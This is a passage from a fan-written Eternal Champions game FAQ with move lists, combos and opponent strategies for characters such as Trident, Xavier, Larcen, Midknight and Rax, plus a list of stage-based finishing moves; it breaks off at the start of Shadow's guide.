+ T R R I D D E N N N T Speed: 4 + T RRRRRR I D D EEEEE N N N T Endurance: 2 + T R R I D D E N N N T Power: 4 + T R R I D D E N NN T Recovery: 3 + T R R I DDDDD EEEEEEE N N T Defense: 3 + Equilibrium: 5 + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Stationary Somerslt (side kick| 6 ( 6)| A (or D > B) + High Kick | 10 | B + Adv. High Kick (dbl high kick)| 14 (14)| C + Jumping High Kick | 6 | U > A + Jumping Trident Jab | 11 | U > B + Jumping Foot Jab | 13 | U > C + Flying Leg Jab | 7 | U + F > A + Flying Toe Drive | 9 | U + F > B + Flying Double Leg Strike | 12 | U + F > C + Crouching Side Kick | 5 | D > A + Crouching Heel Thrust | 11 | D > C + Fast Trident Jab (light punch)| 5 ( 4)| X + Medium Trident Jab (med punch)| 8 ( 7)| Y + Trident Sweep (hard punch) | 9 ( 9)| Z + Leg Grab Throw | 18 | F > Z (or F > Y) + Jumping Upward Trident Sweep | 5 | U > X + Jumping Downward Trident Sweep| 7 | U > Y + Jumping Vert. Trident Thrust | 10 | U > Z + Flying Medium Punch | 4 | U + F > X + Flying Upward Trident Sweep | 8 | U + F > Y + Flying Downward Trident Sweep | 9 | U + F > Z + Crouching Hard Punch | 3 | D > X + Crouching Trident Jab | 8 | D > Y + Defensive Roll | 10 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Depth Charge Field | 0 | X + Y |.50 |.75 + Bio-Drain Field | 0 | Y + Z |.50 |.75 + * Bio-Stun Field | 0 | A + B |.75 |1.0 + Repulser Field | 0 | B + C |.50 |.50 + * Spinning Trident |30 | X + Y + Z |.50 |.75 + Sliding Spinning Trident |11 | CB .5, F + Y |.25 |.50 + * Plasma Bolt |15 | CB .5, F + Z |.25 |.50 + Liquid Mode | 0 | A + B + C |.25 |.50 + Insult | 0 | X + Z |.25 |.50 + + Trident's Top 5 Moves: + + 1. Plasma Bolt (CB .5, F + Z) + 2. Spinning Trident (X + Y + Z) + 3. Flying Double Leg Strike (U + F > C) + 4. Leg Grab Throw (F > Z) + 5. Advancing High Kick (C) + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + CB .5, F + Z | Plasma Bolt (this combo needs full I.S.) + X + Y + Z | Spinning Trident + F | move in + X + Y + Z | Spinning Trident (wait for .75 I.S.) + F | move in + F > Z | Leg Grab Throw + | (total damage: 93%) + + U + F > C | Flying Double Leg Strike + D > Z | Defensive Roll + CB .5, F + Z | Plasma Bolt + F > Z | Leg Grab Throw + | (total damage: 55%) + + U + F > A | Flying Leg Jab + A + B + C | Liquid Mode + X + Y + Z | Spinning Trident + | (total damage: 37%) + + U + F > A | Flying Leg Jab + X | light punch (close) + X + Y + Z | Spinning Trident + | (total damage: 42%) + + CB .5, F + Y | Sliding Spinning Trident + D > A | Crouching Side Kick + X + Y + Z | Spinning Trident + | (total damage: 46%) + ----------------------+------------------------ + + + Offensive Strategies: + + 1. In the air and on the ground, Trident's kicks rule! Use the + strongest kicks (C, U + C,...) and use Z for Plasma Bolts and + Throws. + + 2. Trident has lots of ways to stun his opponent. Pick one, then + follow it with a Throw (F > Z) or a Spinning Trident (X + Y + Z). + + + Defensive Strategies: + + 1. Use Liquid Mode (A + B + C) to get out of a corner. + + X X AAAAA V V I EEEEEEE RRRRRR Ratings: + X X A A V V I E R R --------------- + X X A A V V I E R R Speed: 3 + X AAAAAAA V V I EEEEE RRRRRR Endurance: 3 + X X A A V V I E R R Power: 4 + X X A A V V I E R R Recovery: 2 + X X A A V I EEEEEEE R R Defense: 5 + Equilibrium: 4 + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + Low Kick (fist/knee combo) | 4 ( 8)| A + Medium Kick (kick/cane strike)| 8 ( 9)| B + High Kick (double leg kick) | 9 (10)| C + Jumping Double Leg Kick | 7 | U > A (or U + F > A) + Jumping High Kick | 7 | U > B (or U + F > B) + Jumping Power Kick | 8 | U > C (or U + F > C) + Fast Toe Sweep | 4 | D > A + Cane Propelled Slide | 7 | D > B + Powerful Toe Sweep | 10 | D > C + Fast Cane Strike (triple hit) | 5 (16)| X + Powerful Cane Strike (sngl hit| 9 ( 8)| Y + Boomerang Cane Throw (cane jab| 10 (11)| Z + Cane Throw | 16 | F > Z (or F > Y) + Jumping Low Cane Strike | 6 | U > X (or U + F > X) + Jumping Medium Cane Strike | 8 | U > Y (or U + F > Y) + Jumping Overhead Cane Twirl | 9 | U > Z + Flying Forward Cane Attack | 9 | U + F > Z + Crouching Double Cane Attack | 6 | D > X + Crouching 360 Cane Attack | 8 | D > Y + Crouching Combo Cane Attack | 12 | D > Z + Block | 0 | CB + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + Dragon Trap |15 | CB .5, F + Z |.50 |.75 + Snap Back | 8 | CB .5, F + X |.25 |.50 + Identity Change | 0 | X + Y + Z |.75 |.75 + * Midas Touch | 0 | CB .5, F + Y |.50 |.75 + Attract & Smack |12 | A + B + C |.50 |.75 + Swap Spell | 0 | X + Y |.25 |.50 + Confusion Spell | 0 | A + C |.50 |.50 + Insult | 0 | X + Z |.25 |.50 + + Xavier's Top 5 Moves: + + 1. Boomerang Cane Throw (Z) + 2. Flying Forward Cane Attack (U + F > Z) + 3. Midas Touch (CB .5, F + Y) + 4. Cane Throw (F > Z) + 5. Powerful Toe Sweep (D > C) + + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + U + F > A | Jumping Double Leg Kick + D > X | Crouching Double Cane Attack + D > Y | Crouching 360 Cane Attack + A + B + C | Attract & Smack + | (total damage: 33%) + + U + F > C | Jumping Power Kick + X | triple cane hit (close) + CB .5, F + Z | Dragon Trap + | (total damage: 28%) + + U + F > C | Jumping Power Kick + D > X | Crouching Double Cane Attack + Y | Powerful Cane Strike + CB .5, F + Y | Midas Touch + F > Z | Cane Throw + | (total damage: 39%) + + U + F > C | Jumping Power Kick + D > X | Crouching Double Cane Attack + D > C | Powerful Toe Sweep + X + Y + Z | Identity Change + | (total damage: 24%) + ----------------------+------------------------ + + + Offensive Strategies: + + 1. Xavier's cane is his strong point. Use punching attacks to make + the best use of his cane. + + 2. Use the Flying Forward Cane Attack (U + F > Z) to counter any aerial + attack, or to flick opponents off the ceiling. + + 3. Keep opponents away with Boomerang Cane Throws (Z). Tip: You can + defeat Slash with this one key! He will just keep walking into it. + + 4. Freeze opponents with the Midas Touch (CB .5, F + Y), then Throw + (F > Z) them. + + + Defensive Strategies: + + 1. Use the Swap Spell (X + Y) to swap positions with opponent, or the + Confusion Spell (A + C) - if you become cornered. + + CCCCC H H AAAAA M M PPPPPP I OOOOO N N + C C H H A A MM MM P P I O O NN N + C H H A A M M M M P P I O O N N N + C HHHHHHH AAAAAAA M M M PPPPPP I O O N N N + C H H A A M M P I O O N N N + C C H H A A M M P I O O N NN + CCCCC H H A A M M P I OOOOO N N + + + + + NOTE: This section is included with the hope that a code is + available to play the game as the Eternal Champion. + + + + + + Regular Moves: + + move name: |% damage| button presses: + ------------------------------+--------+--------------------------------- + + + + + Special Moves: + | IS | IS + move name: |% damage| button presses: |used|reqd + -----------------------------------+---+-----------------------+----+---- + + + + + Combination Moves: + + button presses: | move name: + ----------------------+------------------------ + + + + + Champion's Top 5 Moves: + + + + + Offensive Strategies: + + + + + Defensive Strategies: + + + ETERNAL CHAMPIONS OPPONENT STRATEGIES + ----------------------------------------- + +BLADE: + + 1. Blade moves slowly, and has no way to travel quickly across the + screen. When far, he'll usually throw a Tracking Blade or Stun + Beam which you can block. Up close, he'll try a Wild Fury Attack, + or a Throw. + + 2. To beat Blade, just move in *quickly*, and attack. But don't stay + too close when you've finished. Jump away, then advance again. + +JETTA: + + 1. Jump kick her. Usually she'll jump into it. If she Phases, do a + quick jump kick. She should run into that too. She's also + susceptible to repeated throws. + + 2. Don't let Jetta corner you - especially when Phased. You will get + pounded no matter how much you block. If you get out of the leap + and hit cycle, back away and try to start it again. + +LARCEN: + + 1. Never, never leap into Larcen when he's on the ground. He will do a + Flip Kick and damage you every time. When he's in the air or on the + ceiling though, he's fair (and easy) game. + + 2. Larcen is also very quick to block, so the best way to attack him is + by waiting until he attacks you. Determine how he's coming at you, + then go for an exposed spot. For example, if he's coming with a + punch, counter it with a sliding low kick. + + +MIDKNIGHT: + + 1. Like Jetta, Midknight will almost always counter a leap with a leap. + Determine which leap is effective for your character (ie. the Flying + Downward Hit for Rax) and repeat. + + 2. Midknight will also do a lot of Flying Wall Smashes and Mist Attacks. + Learn to recognize the early frames of these animation sequences, and + jump over him when he attempts them. He will do them when far away. + +RAX: + + 1. When far away, Rax will almost always try a Jet Knee Smash. Learn to + see this one coming, and jump over it. Otherwise, you'll be cornered + and prone for some pounding. Also, when he starts his Lock and Load, + jump straight up, and the projectile will go into the air instead of + you. If you get stunned by it, he'll jump over and do a toe pounding. + + 2. Rax is very strong offensively, so you can't stay too close. Go for + moves where you move in quickly and strike. Try to keep him blocking, + let up (block/jump back) then strike again. + +SHADOW: + + 1. Shadow is easy to beat once you figure out her pattern. The trick is to + stay away from her. Preferably on the other side of the screen. Jump + over anything she throws at you. Pretty soon, she'll get tired of + throwing things and will disappear. Wait around 2 seconds and jump + straight up. She should appear right next to where you were standing + before and attack. The attack will miss because you're in the air. + Once you land, immediately throw her and/or get back to the other side + of the screen. + + 2. When she goes into a long move (like the Twirling Fan Attack) jump + over her and kick or throw her from behind. Low undercut kicks are + also a good frontal counter for these attacks. + +SLASH: + + 1. Slash has a very easy pattern. He'll throw a few Claws then try to + do a Power Thud. Block or jump the Claws then jump at him when he + starts the Power Thud. With Xavier, just press Z until he drops! + + 2. A Running Head Butt can be countered with a low undercut kick. + + 3. Trick Slash into walking towards you, then do a low undercut kick. + +TRIDENT: + + 1. Trident blocks everything (very frustrating!). If you avoid him, + he'll try to stun you with Plasma Bolts. These are easy to see + coming and to block (unless you're unlucky and he catches you in + the middle of something or in the air). + + 2. If cornered, Trident will either Throw you or do a Spinning Trident + which is very damaging. Don't let this happen!!! + + 3. The best offense is to do some type of long distance special move, + and avoid him the rest of the time. Sometimes a low undercut kick + will get through, but if not, jump back immediately! + +XAVIER: + + 1. Be careful about getting close to Xavier, because you will be + thrown. + + 2. When Xavier starts to do a spell, he will hold his cane straight up. + Jump forward immediately when you see this, and you will dodge the + spell he's fired at you. This is usually the best time to attack. + +CHAMPION: + + 1. You have to beat the Eternal Champion 5 times. After the first, he + will reincarnate himself from one of four images on the windows, and + you will be given about a third of your life bar restored. These + matches are not timed - it's to the death - and you have to beat all + 5 with one life (you get 2 chances). + + 2. Only attack the Champion when he's not flashing, and avoid or block + everything that he throws at you. Stay out of range, and learn which + kind of leaps and advancing attacks are effective for your character. + + ETERNAL CHAMPIONS OVERKILL LIST + ----------------------------------- + +GENERAL RULES: + +1) Overkills only work in the fight which will cause you to win (or + lose) the match. + +2) Overkills only work if your last hit does more than 13% damage. + Consult your manual for the appropriate moves, or just use a throw. + +3) Overkills are BACKGROUND DEPENDENT. This means every character can + do all the fatalities, and that every player therefore may want to + learn all of em. + +4) Overkills occur when the first 3 criteria are satisfied, and when the + loser lands on the magic spot on the background. + +************************************************************************** + + +BLADE'S STAGE: + + Landing Position: + + The Loser must land centered at the bottom of the huge fan. + + Effect: + + Loser gets sucked into the fan, sliced up, leaving only a trademark + item behind. + + +JETTA'S STAGE: + + Landing Position: + + The Loser must land in the middle of the gate. + + Effect: + + An earthquake occurs, and the loser falls into the fiery hole + to his/her death. + + +LARCEN'S STAGE: + + Landing Position: + + The Loser must land a touch to the left or right of the ticket booth. + + Effect: + + The Loser gets gunned down by a passing car, then again left to + right, while blood flies out of the loser everytime the bullet trail + hits the loser. + +MIDKNIGHT'S STAGE: + + Landing Position: + + Starting from in front of the hut to the left (the shorter part), + finish the opponent so he/she bounces to the right and lands in front + of the cow. + + Effect: + + The helicopter will launch a missile at the loser, blowing him up + and leaving charcoal briquettes behind. + + +RAX'S STAGE: + + Landing Position: + + The Loser must land just to the right of the dragon statue. + + Effect: + + Some UFO robots fly onto the scene, freezing the enemy and then + stattering the loser-si-cle. Then a vacuum robot cleans up the + remains. + + +SHADOW'S STAGE: + + Landing Position: + + The Loser must land centered on the second letter from the left. + + Effect: + + Loser will fly into the letter, be electrocuted with lots of blood, + explode, and drop an eyeball onto the ground. + + +SLASH'S STAGE: + + Landing Position: + + The Loser must land roughly one body length away from the far left + or right of the background. + + Effect: + + The loser gets dragged off-screen by a dinosaur that you can't see + (yet). The dinosaur then moves on-screen while chewing happily on + the loser. Finally, a trademark item is spit out of his mouth. + +TRIDENT'S STAGE: + + Landing Position: + + The Loser must land directly below the statue in the right half of + the background (the statue with the water spout). It has also been + seen in front of the big rock located on the left side of the area, + and centered in front of the sky city in the background. + + Effect: + + Three vines slowly wrap the loser up, then pull him/her under. + A big series of splashes, followed by bubbles, lead up to a pool + of blood where the loser fell. + + +XAVIER'S STAGE: + + Landing Position: + + The Loser must land centered in the fire. + + Effect: + + The loser will be slowly burned to death, arms flailing, leaving + behind a skeleton. The skull then falls to the ground. + + + Larcen's Character Guide: + by Chris Schneider + + General Info: + + So you want to play Larcen, eh? Excellent call. He's got a very good mix +of speed, power, and defense. Combine that with what I think is the easiest +throw in the game and you've just become a walking weapon. I've only got one +combo to mention and it has become the mainstay of my Larcen arsenel. Use +a leaping "C" kick and as soon as you hit the ground, go for a sweeping "C", +and immediately jump forward again with a second leaping "C". Somewhere in +the course of that flurry, you're probably going to get a shot or two (or +three) in. Beyond that combo, I generally fight with what I call the "In +yo' face" style, leaping over opponents and striking as often with "C" kicks +and "Z" punches as possible. The opponent often has no chance to open up any +offense or perform any charge moves. + + Your opponent can't get much off with you constantly in his +or her face. Leap over your opponent with kicks and punches and keep the +pressure up when you land. Vary your attacks high and low and above all, +don't let up. When you throw, always use the "Y" throw. It's quicker and +equally as effective as the "Z" one. If you get the opponent hurt and you fear +jumping in, throw a sai. With a full IS load, you can throw 3 sais before +needing to rest. Also, when throwing sais, it is easy to get into the air with +a leaping kick right behind the weapon. They'll block the sai, but usually not +the kick. + + vs. Blade: + + This is the epitomy of "In yo' face". Jump in from the get-go. +You can get three easy leaping kicks because Blade will jump up. After any +of them, you can elect to stay on the ground and walk up to him. As soon as +he gets up, throw him. Back off and repeat the kick/throw as necessary. +If he throws a tracking blade, it is usually possible to jump in and catch +him with a leaping kick before the blade gets you, effectively killing it. + + vs. Jetta: + + You can bait Jetta into the air just like Blade. Just throw your +kicks/punches early and she won't touch you. Jetta is very easy to throw, so +exploit that. If she does her back hand spring (the one where she then jumps +back at you) jump back and use a leaping "C". She'll jump into it every time. +be ready to block if you can't stop that back hand spring, because her +favorite combo is that with a rapid series of kicks. Don't bother with the +sais, as you'll just leave yourself open and she'll plant you. If she +phases, wait for a second and bait her into jumping into the air, so you +can kick her out of it. + + vs. MidKnight: + + Another "In yo' face" opportunity. Throw your kicks early or he'll feed you +his all day. If he is in the air and you're on the ground, block and throw. +MidKnight has this real problem with projectiles. If you throw one, he'll +immediately mist attack to dodge it. Somewhere along the line somebody thought +it was such a good idea that he'll always do it unless he's in the air. Using +this knowledge, just throw a sai and he'll mist up. Jump over the mist and walk +toward it. You will not get hit, but he'll materialize right in front of you. +Now throw. MidKnight is also easily corner trapped by Larcen using the leaping, +sweep, leaping kick combo from above. + + vs. RAX: + + Watch jumping in! RAX will slam you at every opportunity. For some +reason, RAX loves using that cyber-kick against Larcen, so watch out for +that too. Your best bet is to jump in from long range (so you land outside +of RAX's throw range and can duck the cyber-kick) and sweep. He may block +it, but you're now close enough to start in on the "In yo' face" stuff. +Use standing "Z" punches and occasionally jump away to launch a sai. When +he goes for the jet knee, jump toward him (if you can get in the air early +enough) and use the "C" kick. You can often kick him out of the attack. + + vs. Shadow: + + Have fun with this, because it's where you'll get the most +practice with the knock-back projectiles move (hold back and hit "X" when +the weapon is almost upon you). Since Shadow is so adept at launching stars, +use them to your advantage. Stay away from her and knock back her stars. She +rarely blocks them. When she goes for a cartwheel-fan, jump over, chase her +down, and throw her. If she disappears, jump up and throw. If she does her +spinning jump (that thing where she jumps and part way up rolls into a ball +for greater height) simply jump back and use the "C" kick. Throw the +occasional sai to shut up her "Coward" ranting. + + vs. Slash: + + What can I say? Slash loves to eat the leaping, sweep, leaping +combo. Just play hard inside and he's yours. If he tries the running charge, +block and leaping kick him. If he uses the de-claw, knock it back. Larcen's +speed can easily handle the ground smash by kicking Slash out of the air. +Standing "Z" punches work great too if you work them into patterns of jumping +over Slash. + + vs. Trident: + + Not as big of a problem as RAX, Trident is much easier to jump +in on. Constantly leap over him with a barrage of kicks and standing "Z" +punches. The occasional sweep will hit, but not that often. Frequently, when +you go to the air, Trident will roll away, with the intent to launch a plasma +ball. Keep leaping at him, throwing "C" kicks. The extention of the leg will +often take him down before the plasma gets going. If he does use the plasma +from long range, throw a sai and block. Your sai will hit him while he's +exposed and let you block in time. + + vs. Xavier: + + Keep him at a distance with your sai. The only way you'll be able +to jump in on him is from close range, so you won't be thrown. Anytime he +uses a dragon trap or throws the cane, leap over and use a "C" kick. If it +connects, walk up and throw. Anytime he gears up to throw a spell, go airborne +and kick him while he's exposed. It is possible to use the knock back +projectile move on the spells, but their weaving makes it very difficult. +When you get him off balance, proceed to the leaping, sweep, leaping kick +combo for what's usually a moderately easy fight. + + vs. Champion #1: + + Piece of cake. There's a nice little pattern that will +work against the Champions most of the time. When you're in close, jump away +with a kick. He'll hesitate for a moment and then follow you. As soon as you +land, leap back in with a kick. You'll come up underneath him and get a solid +hit. If you stay in close and keep jumping over him, hammering the whole +time, he won't have a chance to use his powers. Don't get too confident, +though. It gets much harder than this. + + vs. Shark Champion: + + Use him as a refueling stop. By this, I mean take your +time and plan your shots. The Shark is pretty easy to handle if you're +careful and you can get back another chunk of that precious health you're +going to need against the Tiger and the Dragon. Don't throw the sais unless +you're comfortable with jumping the fin, because that's his favorite counter. +Don't try for those quickie throws like you can cinch in against the regular +players, because you'll catch a weak low kick. Use the leaping out then back +in pattern I mentioned above to shut the Shark down. + + vs. Eagle Champion: + + Here's another refueling stop. The Eagle telegraphs his +wall dive worse than RAX. It gives you plenty of time to go to the air and +try to kick the Eagle out of it. Use hit and run tactics and throw alot of +sais. Another quirky thing about this Champion is the repluser field. If he's +on the left of you, you can't approach him. If he's on the right, however, +you can press on, albeit slowly, and get in close. Once you're in range, use +a "Z" punch to put him down. + + vs. Tiger Champion: + + Here's a rough fight. I suggest staying in the air and +using the jumping out/jumping in pattern already mentioned. The cartwheel +attack is hard to counter unless you use the sais. The speed of the Tiger +is your biggest problem, though. Take your time and block his leaping attacks. +This will leave him wide open for a throw. Keep your cool and you'll handle +him. + + vs. Dragon Champion: + + Ugh. I hate this guy. I have yet to knock back one of +his fireballs, so I can't say if it's even possible. Barring them, the other +problem is that half-damage field he puts up. Hard to put him down when every +punch and kick you've got does pitiful amounts of damage. If you can catch +him in the jumping out/jumping in pattern, use it as long as you can. Your +sais will give you some help, but don't stay that far away from him for long +or you'll be eating fireballs. + + Midknight's Character Guide: + by Chris Schneider + + General Info: + + He's tremendously vicious in close when you can get the other character off +balance. His Flying Wall Smash combined with a throw will spell fast death for +those caught by it. Another combo I love starts with the Tornado Attack, and +when the opponent blocks it, hit the Ceiling Ram (repeat D > C, then U + C). +This combo is easily modified to taste for the Stomach Punch or the Life Drain, +but I find it easier to hit the Ceiling Ram, since you don't have to reposition +your fingers to new buttons. + + Use the strongest kick as a hop kick (grab extra air-time). Only use the +kicks if you suspect you're going to be hit on the way down, such as Larcen's +backflip. The Flying Wall Smash is generally a safe maneuver, but can cause +trouble. Do *not* use the mist attack. It's pretty much worthless given the +recovery time and how much warning it gives the opponent. Only use the Stomach +Punch and Life Drain in a combo or on a stunned opponent. They seem to have +a very low strike priority. Another good one especially against human players +is a Flying Spin kick followed by the Back Roll Twirl kick. Same button (B), +but you have to block high then low to stop it. The crouching uppercuts (Y or +Z with D) are nice for advancing on your opponent and will take them out of the +air if timed correctly. And when close, use repeated Y or Z punches (or with +F for throws). + + vs. Blade: + + Go to the air. Blade is probably the worst programmed fighter in the game. +He's easily goaded into the air and then punched before he can get a move off. +Quickly follow this up with a throw. If the timing is right, you will nail +him about 90% of the time. Catch him just as he gets back to his feet and use +the middle punch for the throw, rather than the hardest one. His projectiles +are a joke, since the Flying Wall Smash will soar right under them, hitting +the often exposed Blade. + + vs. Jetta: + + Go to the air. She'll usually try to meet you, but can be batted down just +like Blade. The followup throw will work if timed right. Do *not* attempt a +Flying Wall Smash, as she tends to phase when you make your move. By the time +you hit, she's invulnerable to the strike. Keep moving and use a lot of +throws. Good combo: U + F > Z, then repeat Y and F > Y. It'll probably be a +close one. + + vs. Larcen: + + Don't jump in on Larcen. He loves that backflip and it can be used against +him. Jump in on him, and at the peak of the jump, use one of the two strongest +kicks. That added elevation will throw off his timing for the flip and can +leave him vulnerable for the throw. If he goes for his grappling hook swing, +simply block and throw. The Flying Wall Smash will catch him off guard maybe +30-40% of the time, so use it sparingly. Larcen is also a sucker for the +Tornado/Ceiling Ram. If you can get him off balance, use alternating high/low +strikes. The computer seems to have major difficulty with Larcen on shifting +between blocks. + + vs. Rax: + + Use quick aerial punches and avoid jumping in if he's on the ground. +Inevitably, he'll start in with the jet knees. When he does, standing block it +and then walk forward after he bounces off. Once he lands, you can nail the +throw. If he hits with the jet assisted uppercut (the one that carries him +almost off-screen) you can score another easy throw when he lands. Rax is also +a major sucker for the Tornado/Ceiling Ram combo. + + vs. Shadow: + + Use the standard Shadow defenses. Jump straight up when she disappears and +throw her when you land. If she throws projectiles, either jump or block. If +she cartwheels, leap over and chase her down from behind. You can usually +catch her and throw. Be careful with the Flying Wall Smash, or you'll end up +being thrown. + + vs. Slash: + + Use alot of Flying Wall Smashes. He seems to love being hit by them... +When he goes for the ground smash, knock him out of the sky. If it appears +that you'll land without a hit before he does, use one of the stronger kicks +to give you that extra "oomph." The Tornado Attack usually gets you a nice +club for the effort, so use it very sparingly. + + vs. Trident: + + With Trident, it's a matter of beating him to the punch. I will usually jump +at him at the start and kick quickly. He's very vulnerable to the throw after +getting knocked down. If he goes for the plasma, go for a body launch. Don't +worry too much about a computer controlled Trident when he uses the fields. +He'll usually block, rather than give you the damage. If you're not in the air +before him, don't try to meet him. He's not nearly as forgiving as Blade and +Jetta. As with any character vs Trident: Don't get caught by the plasma, or +you may get the insta-death combo (spinning trident followed by another +spinning trident). + + vs. Xavier: + + This is the one character I hate almost as much as the Dragon Champion. +Xavier will block just about everything you throw and hit you with that killer +combo. The way to deal with Xavier? Defense. Let him come to you. He'll be +open after a magic spell, so jump over it and strike fast. If he jumps in, +block and throw. If you can get behind his standing cane throw or the dragon +trap, go for the throw. He'll fall for the tornado/ceiling ram about 50% of the +time. The Flying Wall Smash will tear him apart if you catch him after +throwing a spell and leave him open for a quick throw. + + vs. Champion #1: + + The first champion is a good introduction to the computer's cheating. To +deal with him, use the two strongest kicks as hop kicks. You can catch him +from underneath. Don't try to follow-up with the throw or you'll end up +getting smacked by a few low weak kicks. The Flying Wall Smash will work about +35-40% of the time. The best way to deal with him quickly is the tornado/ +ceiling ram combo, since you can hit him with it twice in quick succession +before needing to back off for your IS to replenish. + + vs. Shark Champion: + + The shark loves to counter the Flying Wall Smash with the fin move. Don't +use it unless you're comfortable with jumping over it. Don't jump straight up, +rather jump over it, trying to stay in the middle of the screen. When the +champ pulls back together, go for a quick throw. This battle will best be +fought in the air. + + vs. Eagle Champion: + + Don't try to meet his body launch with a Flying Wall Smash. Instead, keep +this fight in the air. The eagle's reach is a bear to deal with, but can be +stopped if met with aerial attacks. Beware his vertical "sawblade" strike. +Use a lot of hit and run, and use your Flying Wall Smash often, provided he +isn't going for it himself. If he begins after you've launched, you'll catch +him flush in the stomach. The tornado/ceiling ram is another good bet for this +champion. + + vs. Tiger Champion: + + His speed is impressive, but he's dumb. His aerial priority is seemingly +low, so go high often. When he uses his cartwheel attack, body launch. You'll +hit him every time. When he jumps in, block and throw. Keep up the pressure +with hit and runs and he's yours. Expect to trade a lot of blows though. + + vs. Dragon Champion: + + This is the real test of your mettle. He cheats so bad that it's very +difficult to stop him. His aerial priority is very high, so stay on the ground +as best you can. His fireballs can stop the Flying Wall Smash and he'll +usually strike with quick weak hits if you get close. Your best bet is to +block as best you can and try to catch him coming down from the air with a +Flying Wall Smash. Quickly go for the tornado/ceiling ram and you may get it. +Don't jump in, but try to take him out of the air with uppercuts and middle +punches. This will be the hardest opponent you face as Midnight. + + + Rax's Character Guide + by Dave Woodall + + General Info: + + Rax is one of the strongest offensive players in the game - only Trident +can match his sheer offensive strength. And given the slightest opening, he +can totally devastate his opponent. Luckily for Rax, it is impossible to +Insult and Block at the same time. When Insulted, immediately fire off a +"Lock and Load", then leap over *quickly* and give'em a "Toe Pounding" (close +C). Instant 45% damage! It feels soooooo good! + + In most situations, use the strongest buttons - Z for punches and C for +kicks (of course in combination with leaps, crouches, etc.). I rarely use any +of the others except with Special Moves. Rax also has an amazingly fast Throw! + + vs. Blade: + + Blade is a major sucker for the Flying Downward Hit (U + F > Z). You can +easily win with this move alone, but that gets boring. An occasional Lock and +Load/Toe Pounding is fun, and when Blade does his Spin Kick, knock him off his +feet with an Afterburner Thrust (D > C). Blade's projectiles are slow moving, +and easily avoided by pressing D. For fun, finish him with Jet Knee Smash! + + vs. Jetta: + + Start every match by leaping away from Jetta. At this point, do one of two +things: 1) Fire off a Lock and Load and get ready to leap over for a Toe +Pounding if it hits, or 2) Wait for her to Phase. When she does, do a leaping +Z (U + F > Z) and 90% of the time she will meet you in mid-air. If all that +fails, she will jump over to you. At this point, IMMEDIATELY hold F and hammer +on Z. When she lands, you will do an instant Throw. Follow every Throw with +a leap back and a Lock and Load. About 50% of the time it will succeed! + + vs. Larcen: + + Larcen is pretty quick defensively, which makes it hard to get many moves +to connect. NEVER NEVER leap in on Larcen when he's on the ground! You will +not ever win that encounter. Basically, let Larcen come to you. When he does +the Ceiling Crawl/Drop, meet him at the top with a leaping Z. Or, if your +quick, fire off a Lock and Load and knock him down. Counter the Long Distance +Sweep or a leap with either a leaping Z or C. Watch out for the Grappling +Hook, because you can't block it. If you're close when he Insults, do a quick +Afterburner (D > C), then move in for a Throw. Also, use the Throw if Larcen +corners you. + + vs. Midknight: + + Midknight is also fairly easy - but more fun to defeat than Blade. The +basic moves are U + F > Z, and D > C. He's a sucker for both. NEVER do +either a Lock and Load or an Overload (A + C) - he will go for his Mist +Attack every time! Just leap to avoid the Mist. If he jumps in close, +do a quick Throw. You can also do repeated Throws if you corner him. + + vs. Shadow: + + Start every match with a leap away followed by a Lock and Load - most +likely, she will begin her match with Insults! If successful, leap over for +a Toe Pounding, and if not, wait. Block whatever she throws, and if she does +the Shadow Mode, wait a second, jump straight up and press D > Z coming down. +Counter her Twirling Fan Attack with an Afterburner (D > C), jump back and do +a Lock and Load. + + vs. Slash: + + Whatever you do, don't stay close to Slash! If you do, you're in for a +world of hurt. What I've found that works best is to get about 2/3 screen +length away, and slowly move forward. When he starts to walk, do a quick +Afterburner (D > C), and you'll catch him off guard every time. You can +repeat this until you back him into a corner, then leap to the opposite +corner and try a Lock and Load/Toe Pounding. Overloads will sometimes get +through, but he often bats them back. NEVER NEVER NEVER do an Overload +when Slash is close - if he bats it, you'll get it back! Ouch! Also, +you can counter a Running Head Butt with an Afterburner (D > C). + + vs. Trident: + + Trident blocks everything (almost :-). Start every match with 2 or 3 +Overloads followed by a leaping Z. Trident has 3 ways to stun you, and +the worst of these is the Plasma Bolt. Don't get caught by this or you're +dead! To win a leap, you must beat Trident into the air, so more often +than not, leap away from him. If he leaps in close, do a quick Throw (hold +F, and hammer on Z). When he does an Advancing High kick or a Spinning +Trident, counter with an Afterburner (D > C) - this is the only time he +doesn't block it! Of course, counter an Insult with a Lock and Load. + + vs. Xavier: + + Xavier also is very good at blocking, and if you get close, he'll throw +you. He is also good at avoiding Lock and Loads, so use Overloads. Most +of the time, they'll get through. At this point, Xavier will do one of +three things: Insult, a new spell, or a leap. Counter the first two with +an Afterburner Thrust, or let him leap over you then leap away. When your +Inner Strength runs low, block Xavier's spells and wait for .75. If you +fire an Overload before a spell has past you, they will cancel each other, +so wait. Not a glamorous win, but it works. + + vs. Champion #1: + + Fight this one like Blade. Do lots of leaping Z's, and don't let up on +him. If you do, he'll go invincible or do a Special Move. If you do end +up on the other side of the screen and he insults you ("Fight!"), quickly +fire off a Lock and Load (effective about 40% of the time). Another thing +I've found effective against any of the Champions is if you happen to kill +one of them right next to you, do an Overload when the next starts to pull +himself together. + + vs. Shark Champion: + + Above all else, do NOT use Lock and Load or Overload! Like Midknight, this +one will always go into his "shark fin" attack. Use plenty of leaping Z's, +and stay in the air. He seems very good at blocking Rax's undercutting kicks +(bummer). If he goes into the "shark fin", jump the opposite direction he's +going and jump high. Or use any leap followed by Y for "extra air". + + vs. Eagle Champion: + + Try to catch this one on the ground and do a Lock and Load / Toe Pounding +combo. He doesn't block the Lock and Load very well!!! Do this twice and +you've got 90% damage on him! Other than that, try using well timed C kicks +and Throws if you're cornered. + + vs. Tiger Champion: + + Like the first Champion, use lots of leaping Z's. This guy reminds me of +Jetta, and you can fight him pretty much the same way - try to stay in the +air because you'll get pounded on the ground. If you get attacked on the +ground, block then Throw (if you can). + + vs. Dragon Champion: + + This guy reminds me of Trident with those @$)!($ fireballs. Jump over them +and try to get in a quick kick! Go for the ground assault: Afterburner +Thrusts (D > C), Lock and Load / Toe Poundings, and Overloads. Good Luck! + + Shadow's Character Guide + by Dave Woodall + + General Info: + + Shadow isn't the strongest of the Eternal Champion 